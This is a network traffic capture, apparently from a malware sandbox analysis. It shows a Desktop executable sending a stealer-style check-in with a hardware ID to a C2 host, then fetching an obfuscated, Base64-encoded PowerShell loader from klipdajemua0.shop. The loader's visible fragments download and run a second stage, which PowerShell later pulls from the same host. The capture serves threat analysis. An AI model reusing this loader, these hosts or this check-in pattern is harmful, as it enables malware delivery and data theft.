2024-12-05 14:03:56 UTC	1033	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sv5pg2e8r2896rt8efu8usqclg; expires=Mon, 31-Mar-2025 07:50:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aekcTuPyADdgu7K%2FxefjtUTwYUHEmZUKMH9Lx8ph95WAIFqwHuvCtTb6xx21eC%2FlH8FsMrHZf%2B5pc3ygT8ljzz8zQULO61u0vvbExzJ1KSzU7DJyIXPdA8o7dOW84oZZ2wAdrKdRAqqn9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed494fa2a147ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1994&min_rtt=1982&rtt_var=768&sent=204&recv=598&lost=0&retrans=0&sent_bytes=2851&recv_bytes=575133&delivery_rate=1401824&cwnd=179&unsent_bytes=0&cid=5692184787b8bcca&ts=5853&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49834	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:57 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: c3.digital-odyssey.shop
2024-12-05 14:03:57 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 26 6a 3d 26 68 77 69 64 3d 45 45 43 43 39 38 30 32 31 33 31 30 44 39 32 32 36 46 35 36 44 33 43 32 43 45 41 37 32 45 43 41 Data Ascii: act=get_message&ver=4.0&lid=Lb9dkQ--Puaro&j=&hwid=EECC98021310D9226F56D3C2CEA72ECA
2024-12-05 14:04:01 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3f6st3nhq30d1bee2e4olt897b; expires=Mon, 31-Mar-2025 07:50:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvkeB3C5YBxoy2S4kRrvdRuDVfgOSN0PMzFuRG5SnIeIbSI7TZgeDI9PrhVVjJLWj8CSjGRpK9HN1AOJJ3dEdwk8bDGuNkpZaZ526Taxs9lugBS4w444xK6AhC80Q8XQK1ml9Qqej8Qfig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed495276b9d43df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2420&min_rtt=2416&rtt_var=915&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=989&delivery_rate=1190864&cwnd=243&unsent_bytes=0&cid=dd3d196fa31257f5&ts=3454&x=0"
2024-12-05 14:04:01 UTC	146	IN	Data Raw: 38 63 0d 0a 4d 50 36 41 6f 33 72 56 2b 67 56 62 54 78 44 61 57 6b 66 71 49 58 61 39 69 61 56 2f 66 6a 63 30 4d 58 4b 57 4b 42 73 71 31 6f 56 72 68 61 4c 57 57 4f 2f 59 62 53 38 37 59 4b 6c 67 47 38 56 39 57 64 62 6c 7a 41 38 61 56 6c 35 55 48 2b 4e 4a 4b 77 53 6c 37 56 2b 4f 33 49 77 54 75 34 35 61 4f 43 4e 67 68 54 59 6a 6d 48 34 66 30 2f 33 41 44 56 42 44 54 45 56 51 75 67 70 39 58 76 53 2f 41 74 4b 69 78 6c 6a 76 79 33 67 47 0d 0a Data Ascii: 8cMP6Ao3rV+gVbTxDaWkfqIXa9iaV/fjc0MXKWKBsq1oVrhaLWWO/YbS87YKlgG8V9WdblzA8aVl5UH+NJKwSl7V+O3IwTu45aOCNghTYjmH4f0/3ADVBDTEVQugp9XvS/AtKixljvy3gG
2024-12-05 14:04:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49848	104.21.71.43	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:04:02 UTC	213	OUT	GET /int_clp_ldr_inter.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipdajemua0.shop
2024-12-05 14:04:03 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:04:03 GMT Content-Type: text/plain Content-Length: 9925 Connection: close Accept-Ranges: bytes ETag: "5bb1903b0ec54e380c1035869fe19cbb" Last-Modified: Mon, 02 Dec 2024 09:04:12 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CBfNiUKUripi96l59YzjexJhKTeWWhPt6pneEN1hvkqz55c3rE3sG8dhmXDOXpLiAq9x7VhDJot%2BBjtjwKCAPSgrVEeBussZxQjWT5SanHzwClZc1iclqBp7Cs2ivZTU7huiVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed495470e3642f1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1569&rtt_var=619&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2871&recv_bytes=827&delivery_rate=1725768&cwnd=205&unsent_bytes=0&cid=c912b49f1f131233&ts=635&x=0"
2024-12-05 14:04:03 UTC	467	IN	Data Raw: 2d 45 6e 63 20 4a 41 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 49 41 41 39 41 43 41 41 65 77 41 4b 41 43 41 41 49 41 41 67 41 43 41 41 55 77 42 30 41 47 45 41 63 67 42 30 41 43 30 41 55 77 42 73 41 47 55 41 5a 51 42 77 41 43 41 41 4c 51 42 54 41 47 55 41 59 77 Data Ascii: -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYw
2024-12-05 14:04:03 UTC	1369	IN	Data Raw: 6b 41 4c 67 42 44 41 47 77 41 62 77 42 7a 41 47 55 41 4b 41 41 70 41 41 6f 41 43 67 41 67 41 43 41 41 49 41 41 67 41 46 4d 41 64 41 42 68 41 48 49 41 64 41 41 74 41 46 4d 41 62 41 42 6c 41 47 55 41 63 41 41 67 41 43 30 41 55 77 42 6c 41 47 4d 41 62 77 42 75 41 47 51 41 63 77 41 67 41 44 45 41 43 67 41 4b 41 43 41 41 49 41 41 67 41 43 41 41 57 77 42 54 41 48 6b 41 63 77 42 30 41 47 55 41 62 51 41 75 41 45 34 41 5a 51 42 30 41 43 34 41 56 77 42 6c 41 47 49 41 55 67 42 6c 41 48 45 41 64 51 42 6c 41 48 4d 41 64 41 42 64 41 44 6f 41 4f 67 42 44 41 48 49 41 5a 51 42 68 41 48 51 41 5a 51 41 6f 41 43 49 41 61 41 42 30 41 48 51 41 63 41 42 7a 41 44 6f 41 4c 77 41 76 41 48 63 41 64 77 42 33 41 43 34 41 59 67 42 68 41 47 6b 41 5a 41 42 31 41 43 34 41 59 77 42 76 41 Data Ascii: kALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvA
2024-12-05 14:04:03 UTC	1369	IN	Data Raw: 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 43 34 41 52 41 42 76 41 48 63 41 62 67 42 73 41 47 38 41 59 51 42 6b 41 45 51 41 59 51 42 30 41 47 45 41 4b 41 41 6b 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 Data Ascii: AZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAG
2024-12-05 14:04:03 UTC	1369	IN	Data Raw: 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 4c 67 42 54 41 47 55 41 5a 51 42 72 41 43 67 41 4d 41 41 73 41 43 41 41 57 77 42 54 41 48 6b 41 63 77 42 30 41 47 55 41 62 51 41 75 41 45 6b 41 54 77 41 75 41 46 4d 41 5a 51 42 6c 41 47 73 41 54 77 42 79 41 47 6b 41 5a 77 42 70 41 47 34 41 58 51 41 36 41 44 6f 41 51 67 42 6c 41 47 63 41 61 51 42 75 41 43 6b 41 43 67 41 4b 41 43 41 41 49 41 41 67 41 43 41 41 4a 41 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 Data Ascii: ZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBTAGUAZQBrACgAMAAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGY
2024-12-05 14:04:03 UTC	1369	IN	Data Raw: 41 42 38 41 43 41 41 54 77 42 31 41 48 51 41 4c 51 42 4f 41 48 55 41 62 41 42 73 41 41 6f 41 43 67 41 67 41 43 41 41 49 41 41 67 41 43 51 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 43 41 41 Data Ascii: AB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAA
2024-12-05 14:04:03 UTC	1369	IN	Data Raw: 42 30 41 43 41 41 4c 51 42 44 41 47 38 41 62 51 42 50 41 47 49 41 61 67 42 6c 41 47 4d 41 64 41 41 67 41 46 4d 41 61 41 42 6c 41 47 77 41 62 41 41 75 41 45 45 41 63 41 42 77 41 47 77 41 61 51 42 6a 41 47 45 41 64 41 42 70 41 47 38 41 62 67 41 4b 41 43 41 41 49 41 41 67 41 43 41 41 4a 41 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a Data Ascii: B0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZ
2024-12-05 14:04:03 UTC	1369	IN	Data Raw: 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 41 70 41 41 6f 41 43 67 41 67 41 43 41 41 49 41 41 67 41 43 51 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 Data Ascii: mAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgApAAoACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZg
2024-12-05 14:04:03 UTC	1244	IN	Data Raw: 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 41 67 41 47 6b 41 62 67 41 67 41 43 51 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 6d 41 47 59 41 5a 67 42 Data Ascii: AGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAGkAbgAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49869	180.163.242.102	443	2444	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:04:12 UTC	61	OUT	GET / HTTP/1.1 Host: www.360.net Connection: Keep-Alive
2024-12-05 14:04:12 UTC	238	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.21.5 Date: Thu, 05 Dec 2024 14:04:12 GMT Content-Type: text/html Content-Length: 169 Connection: close Location: https://360.net/ Content-Security-Policy: upgrade-insecure-requests
2024-12-05 14:04:12 UTC	169	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.21.5</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49896	103.235.47.188	443	2444	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:04:23 UTC	63	OUT	GET / HTTP/1.1 Host: www.baidu.com Connection: Keep-Alive
2024-12-05 14:04:24 UTC	986	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: no-cache Content-Length: 29550 Content-Type: text/html Date: Thu, 05 Dec 2024 14:04:24 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Pragma: no-cache Server: BWS/1.1 Set-Cookie: BAIDUID=ECE7566B1D4D56D4FCE81E511457D062:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=ECE7566B1D4D56D4FCE81E511457D062; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1733407464; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=ECE7566B1D4D56D4356F791E9E2A8A56:FG=1; max-age=31536000; expires=Fri, 05-Dec-25 14:04:24 GMT; domain=.baidu.com; path=/; version=1; comment=bd Traceid: 173340746401960980589883447080674347219 Vary: Accept-Encoding X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Connection: close
2024-12-05 14:04:24 UTC	193	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 61 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <meta content="a
2024-12-05 14:04:24 UTC	319	IN	Data Raw: 6c 77 61 79 73 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 0a 20 20 20 20 20 20 20 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 0a 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 e5 85 a8 e7 90 83 e9 a2 86 e5 85 88 e7 9a 84 e4 b8 ad e6 96 87 e6 90 9c e7 b4 a2 e5 bc 95 e6 93 8e e3 80 81 e8 87 b4 e5 8a 9b e4 ba 8e e8 ae a9 e7 bd 91 e6 b0 91 e6 9b b4 e4 be bf e6 8d b7 e5 9c b0 e8 8e b7 e5 8f 96 e4 bf a1 e6 81 af ef bc 8c e6 89 be e5 88 b0 e6 89 80 e6 b1 82 e3 80 82 e7 99 be e5 ba a6 e8 b6 85 e8 bf 87 e5 8d 83 e4 ba bf e7 9a 84 e4 b8 ad e6 96 87 e7 bd 91 e9 a1 b5 e6 95 b0 e6 8d ae e5 ba 93 ef bc 8c e5 8f af e4 bb a5 e7 9e ac e9 97 b4 e6 89 be e5 88 b0 e7 9b b8 e5 85 b3 e7 9a 84 e6 90 9c e7 b4 a2 e7 Data Ascii: lways" name="referrer" /> <meta name="description" content="
2024-12-05 14:04:24 UTC	3537	IN	Data Raw: 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 0a 20 20 20 20 20 20 20 20 72 65 6c 3d 22 73 65 61 72 63 68 22 0a 20 20 20 20 20 20 20 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 70 65 6e 73 65 61 72 63 68 64 65 73 63 72 69 70 74 69 6f 6e 2b 78 6d 6c 22 0a 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 62 61 69 64 75 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2d 73 65 61 72 63 68 2e 78 6d 6c 22 0a 20 20 20 20 20 20 20 20 74 69 74 6c 65 3d 22 e7 99 be e5 ba a6 e6 90 9c e7 b4 a2 22 0a 20 20 20 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 3c 2f 74 69 74 6c Data Ascii: .com/favicon.ico" type="image/x-icon" /> <link rel="search" type="application/opensearchdescription+xml" href="//www.baidu.com/content-search.xml" title="" /> <title></titl
2024-12-05 14:04:24 UTC	4716	IN	Data Raw: 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 23 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 35 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 23 68 65 61 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a Data Ascii: padding-bottom: 100px; text-align: center; *z-index: 1; } #wrapper { min-width: 1250px; height: 100%; min-height: 600px; } #head { position:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49906	104.21.71.43	443	2444	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:04:26 UTC	84	OUT	GET /int_clp_inter.txt HTTP/1.1 Host: klipdajemua0.shop Connection: Keep-Alive
2024-12-05 14:04:27 UTC	914	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:04:27 GMT Content-Type: text/plain Content-Length: 19023037 Connection: close Accept-Ranges: bytes ETag: "3371a85fdcae2f983412f1be30323226" Last-Modified: Thu, 05 Dec 2024 12:13:10 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F3UFug%2BPWLjHn%2FsqgYFJSXeA2MLTWzPasfzl8dgkOB7a5WFQX1Yhui8SO%2FaqWcf8xL0sMc82oghvwC%2FESdjiYRtf93TzV8URfvt58y529rW4WkpLT2I443o4QYTbJjO8cLK9Qw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed495dcc9118c3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: 